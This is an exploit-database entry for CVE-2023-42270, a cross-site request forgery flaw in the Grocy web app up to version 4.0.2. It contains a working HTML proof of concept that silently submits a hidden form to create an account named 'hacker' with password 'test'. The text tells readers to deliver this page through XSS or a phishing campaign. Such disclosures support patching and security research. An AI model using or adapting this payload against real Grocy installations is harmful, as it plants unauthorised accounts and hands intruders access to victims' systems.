Grocy <=4.0.2 csrf Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-01-31 | Type : webapps | Platform : php
This exploit / vulnerability Grocy <=4.0.2 csrf is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability
# Application: Grocy
# Version: <= 4.0.2
# Date: 09/21/2023
# Exploit Author: Chance Proctor
# Vendor Homepage: https://grocy.info/
# Software Link: https://github.com/grocy/grocy
# Tested on: Linux
# CVE : CVE-2023-42270

Overview
==================================================
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.
This makes it easy to adjust your request since it is a known format.
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.

Proof of Concept
==================================================
Host the following html code via a XSS or delivery via a phishing campaign:

<html>
<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">
<input name='username' value='hacker' type='hidden'>
<input name='password' value='test' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('','', '/');
document.forms[0].submit();
</script>
</html>

If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials

Username: hacker
Password: test

Note:
In order for this to work, the target must have Create User Permissions.
This is enabled by default.

Proof of Exploit/Reproduce
==================================================
http://xploit.sh/posts/cve-2023-42270/